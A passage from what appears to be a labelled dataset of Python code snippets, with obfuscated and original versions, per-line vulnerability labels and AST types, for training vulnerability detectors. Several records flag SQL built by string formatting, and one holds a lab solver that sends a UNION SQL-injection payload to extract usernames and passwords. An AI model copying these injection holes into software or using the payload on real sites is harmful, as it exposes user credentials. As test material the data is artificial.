"self._check_handlers()\n",
"if self._listenerthread.is_alive():\n",
"warnings.warn('session listener still running')\n"
] | [
"def _close(self):...\n",
"if self._owned:\n",
"if self._listenerthread != threading.current_thread():\n",
"self._conn.close()\n",
"self._listenerthread.join(timeout=1.0)\n",
"self._check_handlers()\n",
"if self._listenerthread.is_alive():\n",
"warnings.warn('session listener still running')\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Condition",
"Expr'",
"Expr'",
"Expr'",
"Condition",
"Expr'"
] |
[
"def FUNC_2(self, VAR_5=None, VAR_6=None, VAR_7='', VAR_8=''):...\n",
"if VAR_6:\n",
"VAR_5 = VAR_6.apply_all(VAR_5)\n",
"if VAR_7 != '':\n",
"if hasattr(self.obj, VAR_7):\n",
"return VAR_5\n",
"if hasattr(getattr(self.obj, VAR_7), '_col_name'):\n",
"VAR_5 = VAR_5.order_by(VAR_7 + ' ' + VAR_8)\n",
"... | [
"def _get_base_query(self, query=None, filters=None, order_column='',...\n",
"if filters:\n",
"query = filters.apply_all(query)\n",
"if order_column != '':\n",
"if hasattr(self.obj, order_column):\n",
"return query\n",
"if hasattr(getattr(self.obj, order_column), '_col_name'):\n",
"query = query.order... | [
0,
0,
0,
0,
0,
0,
0,
4,
0
] | [
"FunctionDef'",
"Condition",
"Assign'",
"Condition",
"Condition",
"Return'",
"Condition",
"Assign'",
"Assign'"
] |
[
"def FUNC_11(self, VAR_13):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_26 = self.add_argument_group('ParlAI Image Preprocessing Arguments')\n",
"VAR_26.add_argument('--image-size', type=int, default=256, help=\n 'resizing dimension for images')\n",
"VAR_26.add_argument('--image-cropsize', type=int, default=2... | [
"def add_image_args(self, image_mode):...\n",
"\"\"\"docstring\"\"\"\n",
"parlai = self.add_argument_group('ParlAI Image Preprocessing Arguments')\n",
"parlai.add_argument('--image-size', type=int, default=256, help=\n 'resizing dimension for images')\n",
"parlai.add_argument('--image-cropsize', type=int... | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Expr'",
"Expr'"
] |
[
"def FUNC_13(VAR_0):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_52, VAR_46 = FUNC_12(VAR_0)\n",
"if VAR_46:\n",
"return FUNC_6(VAR_46)\n",
"VAR_64 = TestCaseRun.objects.filter(pk__in=data['runs'])\n",
"VAR_65 = VAR_52['bug_system_id']\n",
"VAR_66 = VAR_52['bugs']\n",
"validate_bug_id(VAR_66, VAR_65)\n",... | [
"def update_bugs_to_caseruns(request):...\n",
"\"\"\"docstring\"\"\"\n",
"data, error = clean_bug_form(request)\n",
"if error:\n",
"return say_no(error)\n",
"runs = TestCaseRun.objects.filter(pk__in=data['runs'])\n",
"bug_system_id = data['bug_system_id']\n",
"bug_ids = data['bugs']\n",
"validate_bu... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Condition",
"Return'",
"Assign'",
"Assign'",
"Assign'",
"Expr'",
"Return'",
"Assign'",
"Assign'",
"Condition",
"Return'",
"Return'",
"For",
"Assign'",
"For",
"For",
"Expr'",
"For",
"Condition",
"Expr'"
] |
[
"def FUNC_5(self, VAR_5):...\n",
"if VAR_5 in self.groups:\n",
"self.groups.remove(VAR_5)\n",
"for oldg in VAR_5.get_ancestors():\n",
"if oldg.name != 'all':\n",
"for childg in self.groups:\n",
"if oldg in childg.get_ancestors():\n"
] | [
"def remove_group(self, group):...\n",
"if group in self.groups:\n",
"self.groups.remove(group)\n",
"for oldg in group.get_ancestors():\n",
"if oldg.name != 'all':\n",
"for childg in self.groups:\n",
"if oldg in childg.get_ancestors():\n"
] | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Expr'",
"For",
"Condition",
"For",
"Condition"
] |
[
"def FUNC_17(VAR_16):...\n",
"VAR_0.info('Login Error for %s' % VAR_5.args['username'][0])\n",
"VAR_0.info('%s' % VAR_16)\n",
"VAR_5.setResponseCode(UNAUTHORIZED)\n",
"return self._render_template(VAR_5, 'Invalid credentials')\n"
] | [
"def render_error(error):...\n",
"log.info('Login Error for %s' % request.args['username'][0])\n",
"log.info('%s' % error)\n",
"request.setResponseCode(UNAUTHORIZED)\n",
"return self._render_template(request, 'Invalid credentials')\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Expr'",
"Expr'",
"Expr'",
"Return'"
] |
[
"def FUNC_2(VAR_4, VAR_5, VAR_6, VAR_7=nsxlib_testcase.NSX_CERT, VAR_8=None,...\n",
"return FUNC_1(VAR_4, VAR_5, VAR_6, VAR_7=verify, VAR_8=data, VAR_9=headers,\n VAR_11=single_call)\n"
] | [
"def assert_json_call(verb, client_or_resource, url, verify=nsxlib_testcase....\n",
"return assert_call(verb, client_or_resource, url, verify=verify, data=data,\n headers=headers, single_call=single_call)\n"
] | [
0,
0
] | [
"Condition",
"Return'"
] |
[
"\"\"\"\nCreated on Mon Jan 1 21:38:13 2018\n\n@author: Adam\n\"\"\"\n",
"import codecs\n",
"import re\n",
"import time\n",
"import warnings\n",
"from serial import SerialException, Serial\n",
"from .tools import get_serial_settings\n",
"from .base import Device\n",
"\"\"\" communication with a ser... | [
"\"\"\"\nCreated on Mon Jan 1 21:38:13 2018\n\n@author: Adam\n\"\"\"\n",
"import codecs\n",
"import re\n",
"import time\n",
"import warnings\n",
"from serial import SerialException, Serial\n",
"from .tools import get_serial_settings\n",
"from .base import Device\n",
"\"\"\" communication with a ser... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
4,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Expr'",
"Import'",
"Import'",
"Import'",
"Import'",
"ImportFrom'",
"ImportFrom'",
"ImportFrom'",
"Expr'",
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Condition",
"Expr'",
"Expr'",
"FunctionDef'",
"Docstring",
"Condition",
"Assign'",... |
[
"def FUNC_3(self, VAR_8):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_19 = self._cliq_get_cluster_info(VAR_8)\n",
"VAR_20 = []\n",
"for vip in VAR_19.findall('response/cluster/vip'):\n",
"VAR_20.append(vip.attrib.get('ipAddress'))\n",
"if len(VAR_20) == 1:\n",
"return VAR_20[0]\n",
"VAR_21 = etree.tostri... | [
"def _cliq_get_cluster_vip(self, cluster_name):...\n",
"\"\"\"docstring\"\"\"\n",
"cluster_xml = self._cliq_get_cluster_info(cluster_name)\n",
"vips = []\n",
"for vip in cluster_xml.findall('response/cluster/vip'):\n",
"vips.append(vip.attrib.get('ipAddress'))\n",
"if len(vips) == 1:\n",
"return vips[... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"For",
"Expr'",
"Condition",
"Return'",
"Assign'",
"Assign'"
] |
[
"def FUNC_39(self, VAR_20):...\n",
"for VAR_14 in self.list_properties.keys():\n",
"if self.is_relation(VAR_14):\n",
"if VAR_20 == self.get_related_model(VAR_14):\n",
"return VAR_14\n"
] | [
"def get_related_fk(self, model):...\n",
"for col_name in self.list_properties.keys():\n",
"if self.is_relation(col_name):\n",
"if model == self.get_related_model(col_name):\n",
"return col_name\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"For",
"Condition",
"Condition",
"Return'"
] |
[
"def FUNC_11(self, VAR_9):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_8 = VAR_9.args.get('csessid')[0]\n",
"VAR_20 = self.sessionhandler.sessions_from_csessid(VAR_8)[0]\n",
"self.client_disconnect(VAR_8)\n",
"return '\"\"'\n",
"VAR_20.sessionhandler.disconnect(VAR_20)\n"
] | [
"def mode_close(self, request):...\n",
"\"\"\"docstring\"\"\"\n",
"csessid = request.args.get('csessid')[0]\n",
"sess = self.sessionhandler.sessions_from_csessid(csessid)[0]\n",
"self.client_disconnect(csessid)\n",
"return '\"\"'\n",
"sess.sessionhandler.disconnect(sess)\n"
] | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Expr'",
"Return'",
"Expr'"
] |
[
"def FUNC_50(self):...\n",
"self.compilation_ko('true;')\n"
] | [
"def test_test_outside_control(self):...\n",
"self.compilation_ko('true;')\n"
] | [
0,
0
] | [
"FunctionDef'",
"Expr'"
] |
[
"def FUNC_0(VAR_0):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_3 = []\n",
"for i in range(VAR_0):\n",
"VAR_9 = mock.MagicMock(VAR_8='AndroidDevice', VAR_4=str(i), h_port=None)\n",
"return VAR_3\n",
"VAR_3.append(VAR_9)\n"
] | [
"def get_mock_ads(num):...\n",
"\"\"\"docstring\"\"\"\n",
"ads = []\n",
"for i in range(num):\n",
"ad = mock.MagicMock(name='AndroidDevice', serial=str(i), h_port=None)\n",
"return ads\n",
"ads.append(ad)\n"
] | [
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"For",
"Assign'",
"Return'",
"Expr'"
] |
[
"def FUNC_18(VAR_25):...\n",
"VAR_22[VAR_25] = VAR_20\n",
"VAR_23[VAR_25] = VAR_20\n",
"VAR_20 += 1\n",
"VAR_21.append(VAR_25)\n",
"VAR_24[VAR_25] = True\n",
"for VAR_34 in self.successors[VAR_25]:\n",
"if VAR_22[VAR_34] == None:\n",
"VAR_46 = set()\n",
"FUNC_18(VAR_34)\n",
"if VAR_24[VAR_34]:\n... | [
"def strong_connect(v):...\n",
"indices[v] = index\n",
"lowlink[v] = index\n",
"index += 1\n",
"S.append(v)\n",
"onstack[v] = True\n",
"for w in self.successors[v]:\n",
"if indices[w] == None:\n",
"component = set()\n",
"strong_connect(w)\n",
"if onstack[w]:\n",
"if lowlink[v] == indices[v]:\n... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"AugAssign'",
"Expr'",
"Assign'",
"For",
"Condition",
"Assign'",
"Expr'",
"Condition",
"Condition",
"Assign'",
"Assign'",
"Condition",
"Return'",
"Assign'",
"Assign'",
"Expr'",
"Condition"
] |
[
"def FUNC_32(self, VAR_81):...\n",
"def FUNC_39(VAR_101):...\n",
"VAR_101.shellcmd = VAR_81\n",
"return VAR_101\n"
] | [
"def shellcmd(self, cmd):...\n",
"def decorate(ruleinfo):...\n",
"ruleinfo.shellcmd = cmd\n",
"return ruleinfo\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"FunctionDef'",
"Assign'",
"Return'"
] |
[
"def FUNC_13(self, VAR_9, VAR_10=None, VAR_11=None, VAR_20=''):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_28 = self.get_and_check_task(VAR_9, VAR_10, VAR_11)\n",
"VAR_31 = {'all': 'all.zip', 'geotiff': os.path.join('odm_orthophoto',\n 'odm_orthophoto.tif'), 'las': os.path.join('odm_georeferencing',\n 'odm_... | [
"def get(self, request, pk=None, project_pk=None, asset=''):...\n",
"\"\"\"docstring\"\"\"\n",
"task = self.get_and_check_task(request, pk, project_pk)\n",
"allowed_assets = {'all': 'all.zip', 'geotiff': os.path.join(\n 'odm_orthophoto', 'odm_orthophoto.tif'), 'las': os.path.join(\n 'odm_georeferencing'... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_5(self, VAR_12):...\n",
"VAR_14 = 'string'.format(VAR_12)\n",
"self.cur.execute(VAR_14)\n",
"return self.cur.fetchall()\n"
] | [
"def get_event(self, event_id):...\n",
"sql = (\n \"\"\"SELECT title, description, start_time, time_zone, (\n SELECT GROUP_CONCAT(DISTINCT username)\n FROM user_event\n WHERE event_id = {0}\n AND user_event.attending = 1)\n ... | [
0,
4,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Expr'",
"Return'"
] |
[
"def FUNC_23(self, *VAR_69, **VAR_70):...\n",
"def FUNC_39(VAR_101):...\n",
"VAR_101.output = VAR_69, VAR_70\n",
"return VAR_101\n"
] | [
"def output(self, *paths, **kwpaths):...\n",
"def decorate(ruleinfo):...\n",
"ruleinfo.output = paths, kwpaths\n",
"return ruleinfo\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"FunctionDef'",
"Assign'",
"Return'"
] |
[
"def FUNC_3(self, VAR_8):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_19 = self._cliq_get_cluster_info(VAR_8)\n",
"VAR_20 = []\n",
"for vip in VAR_19.findall('response/cluster/vip'):\n",
"VAR_20.append(vip.attrib.get('ipAddress'))\n",
"if len(VAR_20) == 1:\n",
"return VAR_20[0]\n",
"VAR_21 = etree.tostri... | [
"def _cliq_get_cluster_vip(self, cluster_name):...\n",
"\"\"\"docstring\"\"\"\n",
"cluster_xml = self._cliq_get_cluster_info(cluster_name)\n",
"vips = []\n",
"for vip in cluster_xml.findall('response/cluster/vip'):\n",
"vips.append(vip.attrib.get('ipAddress'))\n",
"if len(vips) == 1:\n",
"return vips[... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"For",
"Expr'",
"Condition",
"Return'",
"Assign'",
"Assign'"
] |
[
"def __init__(self, VAR_1=None, VAR_2=None, VAR_3=None, VAR_4=None, VAR_5=...\n",
"\"\"\"docstring\"\"\"\n",
"self._rules = OrderedDict()\n",
"self.first_rule = None\n",
"self._workdir = None\n",
"self.overwrite_workdir = VAR_6\n",
"self.workdir_init = os.path.abspath(os.curdir)\n",
"self._ruleorder =... | [
"def __init__(self, snakefile=None, snakemakepath=None, jobscript=None,...\n",
"\"\"\"docstring\"\"\"\n",
"self._rules = OrderedDict()\n",
"self.first_rule = None\n",
"self._workdir = None\n",
"self.overwrite_workdir = overwrite_workdir\n",
"self.workdir_init = os.path.abspath(os.curdir)\n",
"self._ru... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Docstring",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
... |
[
"def FUNC_6(self):...\n",
"if not (VAR_101.default_sr or VAR_101.user_is_loggedin and VAR_101.site.\n",
"return False\n",
"return True\n"
] | [
"def run(self):...\n",
"if not (c.default_sr or c.user_is_loggedin and c.site.can_submit(c.user)):\n",
"return False\n",
"return True\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Return'"
] |
[
"def __eq__(self, VAR_25):...\n",
"VAR_0 = VAR_25._file if isinstance(VAR_25, CLASS_0) else VAR_25\n",
"return self._file == VAR_0\n"
] | [
"def __eq__(self, other):...\n",
"f = other._file if isinstance(other, _IOFile) else other\n",
"return self._file == f\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Return'"
] |
[
"def FUNC_12(VAR_10, VAR_8):...\n",
"if not VAR_8 in VAR_10:\n",
"return None\n",
"return VAR_10[VAR_8]\n"
] | [
"def get_safe_val(src, name):...\n",
"if not name in src:\n",
"return None\n",
"return src[name]\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Return'"
] |
[
"\"\"\"string\"\"\"\n",
"import sys\n",
"import citest.aws_testing as aws\n",
"import citest.json_contract as jc\n",
"import citest.service_testing as st\n",
"import spinnaker_testing as sk\n",
"import spinnaker_testing.kato as kato\n",
"\"\"\"string\"\"\"\n",
"VAR_0 = ''\n",
"@classmethod...\n",
... | [
"\"\"\"\nTests to see if CloudDriver/Kato can interoperate with Amazon Web Services.\n\nSample Usage:\n Assuming you have created $PASSPHRASE_FILE (which you should chmod 400):\n and $CITEST_ROOT points to the root directory of this repository\n (which is . if you execute this from the root)\n and $AWS_... | [
0,
0,
0,
1,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Expr'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Import'",
"Expr'",
"Assign'",
"Condition",
"Docstring",
"Return'"
] |
[
"def __init__(self, VAR_10, VAR_11=None):...\n",
"if VAR_11 is None:\n",
"VAR_11 = 'http://localhost:8888/'\n",
"self.browser = VAR_10\n",
"self.base_url = VAR_11\n",
"self.outcome = None\n",
"self.start_time = None\n",
"self.stop_time = None\n",
"self.duration = None\n",
"self.exception_data = No... | [
"def __init__(self, browser, base_url=None):...\n",
"if base_url is None:\n",
"base_url = 'http://localhost:8888/'\n",
"self.browser = browser\n",
"self.base_url = base_url\n",
"self.outcome = None\n",
"self.start_time = None\n",
"self.stop_time = None\n",
"self.duration = None\n",
"self.exception... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'"
] |
[
"def FUNC_7(self):...\n",
"\"\"\"docstring\"\"\"\n",
"self.update()\n",
"return self.data.keys()\n"
] | [
"def get_module_names(self):...\n",
"\"\"\"docstring\"\"\"\n",
"self.update()\n",
"return self.data.keys()\n"
] | [
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Expr'",
"Return'"
] |
[
"def FUNC_6(self, VAR_44, VAR_50):...\n",
"if not FUNC_2(VAR_44):\n",
"return self.error()\n",
"if VAR_50 != VAR_44:\n",
"return self.error(errors.BAD_PASSWORD_MATCH)\n",
"return VAR_44\n"
] | [
"def run(self, password, verify):...\n",
"if not chkpass(password):\n",
"return self.error()\n",
"if verify != password:\n",
"return self.error(errors.BAD_PASSWORD_MATCH)\n",
"return password\n"
] | [
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Condition",
"Return'",
"Condition",
"Return'",
"Return'"
] |
[
"def FUNC_12(self, VAR_7, VAR_8):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_12 = self.tid_tag_count(VAR_7)\n",
"VAR_13 = [VAR_3 for VAR_3 in VAR_7 if VAR_12[VAR_3] >= VAR_8]\n",
"return VAR_13\n"
] | [
"def filter_tags(self, tids, min_tags):...\n",
"\"\"\"docstring\"\"\"\n",
"count_dict = self.tid_tag_count(tids)\n",
"tids_filtered = [tid for tid in tids if count_dict[tid] >= min_tags]\n",
"return tids_filtered\n"
] | [
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Return'"
] |
[
"import psycopg2\n",
"VAR_0 = 'forum'\n",
"def FUNC_0():...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_2 = psycopg2.connect(database=DBNAME)\n",
"VAR_3 = VAR_2.cursor()\n",
"VAR_3.execute('select content,time from posts order by time desc')\n",
"return VAR_3.fetchall()\n"
] | [
"import psycopg2\n",
"DBNAME = 'forum'\n",
"def get_posts():...\n",
"\"\"\"docstring\"\"\"\n",
"db = psycopg2.connect(database=DBNAME)\n",
"c = db.cursor()\n",
"c.execute('select content,time from posts order by time desc')\n",
"return c.fetchall()\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Import'",
"Assign'",
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Expr'",
"Return'"
] |
[
"def FUNC_0(self):...\n",
"self.reg = self.eng.allocate_qureg(self.wires)\n"
] | [
"def reset(self):...\n",
"self.reg = self.eng.allocate_qureg(self.wires)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Assign'"
] |
[
"def FUNC_3(VAR_3):...\n",
"return re.split('\\\\s*<br */>\\\\s*', VAR_3, flags=re.IGNORECASE)\n"
] | [
"def split_br(text):...\n",
"return re.split('\\\\s*<br */>\\\\s*', text, flags=re.IGNORECASE)\n"
] | [
0,
0
] | [
"FunctionDef'",
"Return'"
] |
[
"def FUNC_3(VAR_11):...\n",
"VAR_3.execute(\n \"UPDATE players SET Judge = 1 WHERE Name = '%s' COLLATE NOCASE\" % VAR_11)\n",
"VAR_2.commit()\n"
] | [
"def makeJudge(judge):...\n",
"db.execute(\"UPDATE players SET Judge = 1 WHERE Name = '%s' COLLATE NOCASE\" %\n judge)\n",
"database.commit()\n"
] | [
0,
4,
0
] | [
"FunctionDef'",
"Expr'",
"Expr'"
] |
[
"def FUNC_0(self, VAR_11):...\n",
""
] | [
"def add_tag_by_name(self, tagname):...\n",
""
] | [
0,
0
] | [
"FunctionDef'",
"Condition"
] |
[
"@utils.synchronized('3par', external=True)...\n",
"self.common.client_login()\n",
"VAR_19 = self.common.create_cloned_volume(VAR_6, VAR_7)\n",
"self.common.client_logout()\n",
"return {'metadata': VAR_19}\n"
] | [
"@utils.synchronized('3par', external=True)...\n",
"self.common.client_login()\n",
"new_vol = self.common.create_cloned_volume(volume, src_vref)\n",
"self.common.client_logout()\n",
"return {'metadata': new_vol}\n"
] | [
0,
0,
0,
0,
0
] | [
"Condition",
"Expr'",
"Assign'",
"Expr'",
"Return'"
] |
[
"def FUNC_8(self, VAR_15):...\n",
"VAR_32 = 1.0\n",
"VAR_33 = 'GB'\n",
"if VAR_15.endswith('MB'):\n",
"VAR_32 = 1.0 / 1024\n",
"if VAR_15.endswith('TB'):\n",
"VAR_33 = 'MB'\n",
"VAR_32 = 1.0 * 1024\n",
"return VAR_32 * float(VAR_15.partition(VAR_33)[0])\n",
"VAR_33 = 'TB'\n"
] | [
"def _get_space_in_gb(self, val):...\n",
"scale = 1.0\n",
"part = 'GB'\n",
"if val.endswith('MB'):\n",
"scale = 1.0 / 1024\n",
"if val.endswith('TB'):\n",
"part = 'MB'\n",
"scale = 1.0 * 1024\n",
"return scale * float(val.partition(part)[0])\n",
"part = 'TB'\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Condition",
"Assign'",
"Assign'",
"Return'",
"Assign'"
] |
[
"@tornado.web.asynchronous...\n",
""
] | [
"@tornado.web.asynchronous...\n",
""
] | [
0,
0
] | [
"Condition",
"Condition"
] |
[
"def FUNC_4(self):...\n",
"self.driver._eql_execute = self.mox.CreateMock(self.driver._eql_execute)\n",
"VAR_1 = {'name': self.volume_name, 'size': 1, 'id': self.volid}\n",
"self.driver._eql_execute('volume', 'select', VAR_1['name'], 'show').AndRaise(\n processutils.ProcessExecutionError(stdout=\n \"\"\... | [
"def test_delete_absent_volume(self):...\n",
"self.driver._eql_execute = self.mox.CreateMock(self.driver._eql_execute)\n",
"volume = {'name': self.volume_name, 'size': 1, 'id': self.volid}\n",
"self.driver._eql_execute('volume', 'select', volume['name'], 'show').AndRaise(\n processutils.ProcessExecutionErr... | [
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Expr'",
"Expr'",
"Expr'"
] |
[
"def FUNC_0(self, VAR_0):...\n",
"VAR_3 = VAR_0.cookies.get('XSRF-TOKEN')\n",
"if VAR_3:\n",
"self.xsrf_token = VAR_3\n"
] | [
"def _store_xsrf_token(self, response):...\n",
"xsrf_token = response.cookies.get('XSRF-TOKEN')\n",
"if xsrf_token:\n",
"self.xsrf_token = xsrf_token\n"
] | [
0,
5,
5,
5
] | [
"FunctionDef'",
"Assign'",
"Condition",
"Assign'"
] |
[
"import sqlite3\n",
"import os.path\n",
"from cpwrap import CFG\n",
"import random\n",
"import string\n",
"def FUNC_0():...\n",
"VAR_0 = sqlite3.connect(CFG('dbname'))\n",
"return VAR_0, VAR_0.cursor()\n"
] | [
"import sqlite3\n",
"import os.path\n",
"from cpwrap import CFG\n",
"import random\n",
"import string\n",
"def connectDB():...\n",
"conn = sqlite3.connect(CFG('dbname'))\n",
"return conn, conn.cursor()\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Import'",
"Import'",
"ImportFrom'",
"Import'",
"Import'",
"FunctionDef'",
"Assign'",
"Return'"
] |
[
"def FUNC_0():...\n",
"\"\"\"docstring\"\"\"\n",
"return VAR_3\n"
] | [
"def getDjangoURLPatterns():...\n",
"\"\"\"docstring\"\"\"\n",
"return ROLE_MODELS_URL_PATTERNS\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Return'"
] |
[
"def FUNC_2(self, VAR_4):...\n",
"VAR_10 = VAR_4.find_all('p', not {'class': 'mw-empty-elt'}, recursive=False,\n limit=self.MAX_P_CHECKS)\n",
"for p in VAR_10:\n",
"VAR_7 = self.parse_tag(p)\n",
"VAR_11 = VAR_4.find('ul', recursive=False)\n",
"if VAR_7:\n",
"VAR_7 = self.parse_tag(VAR_11)\n",
"retu... | [
"def parse_html(self, div):...\n",
"p_tags = div.find_all('p', not {'class': 'mw-empty-elt'}, recursive=False,\n limit=self.MAX_P_CHECKS)\n",
"for p in p_tags:\n",
"next_wiki = self.parse_tag(p)\n",
"ul = div.find('ul', recursive=False)\n",
"if next_wiki:\n",
"next_wiki = self.parse_tag(ul)\n",
"re... | [
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"For",
"Assign'",
"Assign'",
"Condition",
"Assign'",
"Return'",
"Return'"
] |
[
"def FUNC_3(VAR_2, VAR_7, VAR_0):...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_2[VAR_7] = \"username || ':' || password FROM users--\"\n",
"VAR_3['category'] = f\"{' '.join(VAR_2)}\"\n",
"VAR_12 = VAR_4.get(VAR_0, VAR_1=sqli)\n",
"VAR_13 = BeautifulSoup(VAR_12.text, 'html.parser')\n",
"VAR_14 = [up.contents[0... | [
"def sqli_union_lab_4(null, index, url):...\n",
"\"\"\"docstring\"\"\"\n",
"null[index] = \"username || ':' || password FROM users--\"\n",
"sqli['category'] = f\"{' '.join(null)}\"\n",
"lab4 = api_session.get(url, params=sqli)\n",
"html = BeautifulSoup(lab4.text, 'html.parser')\n",
"up_combo = [up.conte... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Return'"
] |
[
"def FUNC_4(VAR_18, VAR_17, VAR_19):...\n",
"\"\"\"docstring\"\"\"\n",
"return keyworder.get_composite_keywords(VAR_18, VAR_17, VAR_19) or {}\n"
] | [
"def extract_composite_keywords(ckw_db, fulltext, skw_spans):...\n",
"\"\"\"docstring\"\"\"\n",
"return keyworder.get_composite_keywords(ckw_db, fulltext, skw_spans) or {}\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Return'"
] |
[
"def FUNC_14(self, VAR_21, VAR_11, **VAR_6):...\n",
"VAR_35 = [self.key_name]\n",
"VAR_36 = self.lhs\n",
"while isinstance(VAR_36, CLASS_6):\n",
"VAR_35.insert(0, VAR_36.key_name)\n",
"VAR_37, VAR_38 = VAR_21.compile(VAR_36)\n",
"VAR_36 = VAR_36.lhs\n",
"if len(VAR_35) > 1:\n",
"return '(%s %s %%s)'... | [
"def as_sql(self, compiler, connection, **kwargs):...\n",
"key_transforms = [self.key_name]\n",
"previous = self.lhs\n",
"while isinstance(previous, JsonKeyTransform):\n",
"key_transforms.insert(0, previous.key_name)\n",
"lhs, params = compiler.compile(previous)\n",
"previous = previous.lhs\n",
"if le... | [
0,
0,
0,
0,
0,
0,
0,
0,
4,
4,
4,
4,
4
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Condition",
"Expr'",
"Assign'",
"Assign'",
"Condition",
"Return'",
"Expr'",
"Assign'",
"Assign'",
"Return'"
] |
[
"@frappe.whitelist()...\n",
"\"\"\"docstring\"\"\"\n",
"VAR_3.pop('cmd', None)\n",
"VAR_3.pop('ignore_permissions', None)\n",
"if frappe.is_table(VAR_0):\n",
"if not VAR_3.get('parent'):\n",
"return CLASS_0(VAR_0).execute(None, *VAR_2, **kwargs)\n",
"frappe.flags.error_message = _('Parent is required ... | [
"@frappe.whitelist()...\n",
"\"\"\"docstring\"\"\"\n",
"kwargs.pop('cmd', None)\n",
"kwargs.pop('ignore_permissions', None)\n",
"if frappe.is_table(doctype):\n",
"if not kwargs.get('parent'):\n",
"return DatabaseQuery(doctype).execute(None, *args, **kwargs)\n",
"frappe.flags.error_message = _('Parent ... | [
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"Condition",
"Docstring",
"Expr'",
"Expr'",
"Condition",
"Condition",
"Return'",
"Assign'",
"Expr'"
] |
[
"def __init__(self, VAR_3, VAR_4):...\n",
"self.tok = VAR_3\n",
"self.txt = VAR_4\n"
] | [
"def __init__(self, tok, txt):...\n",
"self.tok = tok\n",
"self.txt = txt\n"
] | [
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'"
] |
[
